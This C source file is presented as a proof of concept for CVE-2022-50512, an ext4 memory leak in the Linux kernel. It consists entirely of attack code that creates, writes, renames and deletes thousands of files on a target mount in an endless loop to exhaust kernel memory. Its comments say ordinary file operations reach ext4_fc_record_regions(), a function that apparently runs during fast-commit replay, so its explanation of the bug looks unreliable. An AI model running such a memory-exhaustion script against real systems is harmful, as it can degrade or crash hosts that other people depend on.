/* CVE-2022-50512 - Linux Kernel ext4 Memory Leak PoC
* This PoC demonstrates how to trigger memory leak in ext4_fc_record_regions()
* by repeatedly performing fast commit operations on ext4 filesystem.
*
* Note: Requires an ext4 filesystem mounted with fast_commit support.
* Compile: gcc -o poc poc.c
* Usage: ./poc /path/to/ext4/mountpoint
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#define NUM_FILES 10000
#define FILE_SIZE 4096
#define MOUNT_POINT "/mnt/ext4_test"
static volatile int running = 1;
void signal_handler(int sig) {
printf("\n[*] Caught signal %d, stopping...\n", sig);
running = 0;
}
int create_and_modify_files(const char *path) {
char filepath[512];
char buffer[FILE_SIZE];
int fd;
int i;
memset(buffer, 'A', FILE_SIZE);
for (i = 0; i < NUM_FILES && running; i++) {
snprintf(filepath, sizeof(filepath), "%s/leak_file_%d.tmp", path, i);
/* Create file - triggers ext4 fast commit region recording */
fd = open(filepath, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0) {
fprintf(stderr, "[-] Failed to create %s: %s\n", filepath, strerror(errno));
continue;
}
/* Write data to trigger journal/fast-commit operations */
if (write(fd, buffer, FILE_SIZE) != FILE_SIZE) {
fprintf(stderr, "[-] Write failed: %s\n", strerror(errno));
}
/* Modify file to trigger more region recording */
lseek(fd, 0, SEEK_SET);
write(fd, buffer, FILE_SIZE / 2);
close(fd);
/* Rename to trigger more fast commit operations */
char newpath[512];
snprintf(newpath, sizeof(newpath), "%s/leak_file_%d.dat", path, i);
rename(filepath, newpath);
/* Unlink to add more regions to fast commit */
unlink(newpath);
}
return 0;
}
int main(int argc, char *argv[]) {
const char *mount_point;
struct timespec start, now;
long elapsed;
if (argc < 2) {
mount_point = MOUNT_POINT;
} else {
mount_point = argv[1];
}
printf("[*] CVE-2022-50512 ext4 Memory Leak PoC\n");
printf("[*] Target mount point: %s\n", mount_point);
/* Verify the mount point exists and is writable */
if (access(mount_point, W_OK) != 0) {
fprintf(stderr, "[-] Cannot write to %s: %s\n", mount_point, strerror(errno));
fprintf(stderr, "[-] Please ensure %s is an ext4 mount with fast_commit\n", mount_point);
return 1;
}
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
clock_gettime(CLOCK_MONOTONIC, &start);
printf("[*] Starting memory leak trigger...\n");
printf("[*] Press Ctrl+C to stop\n\n");
while (running) {
create_and_modify_files(mount_point);
clock_gettime(CLOCK_MONOTONIC, &now);
elapsed = (now.tv_sec - start.tv_sec);
if (elapsed > 0 && elapsed % 10 == 0) {
printf("[*] Running for %ld seconds...\n", elapsed);
}
}
printf("[*] Done. Check kernel memory usage with 'dmesg' or 'slabtop'\n");
return 0;
}